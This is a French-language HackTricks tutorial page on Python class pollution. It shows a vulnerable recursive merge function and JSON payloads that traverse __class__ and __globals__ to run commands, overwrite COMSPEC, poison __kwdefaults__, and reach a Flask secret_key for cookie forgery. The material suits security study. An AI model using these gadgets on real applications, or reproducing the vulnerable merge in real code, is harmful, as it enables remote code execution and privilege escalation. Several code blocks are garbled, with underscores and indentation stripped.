Class Pollution (Python's Prototype Pollution)
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks:
Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
Obtenez le swag officiel PEASS & HackTricks
Découvrez La famille PEASS, notre collection exclusive de NFTs
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Exemple de base
Vérifiez comment il est possible de polluer les classes d'objets avec des chaînes de caractères:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
Exemple de Vulnérabilité de Base
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
Exemples de Gadget
Création de la valeur par défaut de la propriété de classe pour RCE (subprocess)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Polluer d'autres classes et variables globales via <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Exécution arbitraire de sous-processus
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Modification de <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** est un attribut spécial de toutes les fonctions, selon la [documentation Python](https://docs.python.org/3/library/inspect.html), c'est un "mapping de toutes les valeurs par défaut pour les paramètres **uniquement par mot-clé**". Polluer cet attribut nous permet de contrôler les valeurs par défaut des paramètres uniquement par mot-clé d'une fonction, ce sont les paramètres de la fonction qui viennent après \* ou \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Modification de la clé secrète Flask à travers les fichiers
Ainsi, si vous pouvez effectuer une pollution de classe sur un objet défini dans le fichier principal Python du site web mais dont la classe est définie dans un fichier différent que celui principal. Parce que pour accéder à __globals__ dans les charges utiles précédentes, vous devez accéder à la classe de l'objet ou aux méthodes de la classe, vous pourrez accéder aux globales dans ce fichier, mais pas dans le fichier principal. Par conséquent, vous ne pourrez pas accéder à l'objet global de l'application Flask qui a défini la clé secrète dans la page principale:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
Dans ce scénario, vous avez besoin d'un gadget pour parcourir les fichiers afin d'accéder à l'objet global app.secret_key
pour changer la clé secrète de Flask et pouvoir escalader les privilèges en connaissant cette clé.
Une charge utile comme celle-ci de ce writeup:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Utilisez cette charge utile pour changer app.secret_key
(le nom dans votre application peut être différent) afin de pouvoir signer de nouveaux cookies flask avec plus de privilèges.
Consultez également la page suivante pour plus de gadgets en lecture seule :
Références
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
Obtenez le swag officiel PEASS & HackTricks
Découvrez The PEASS Family, notre collection exclusive de NFT
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Last updated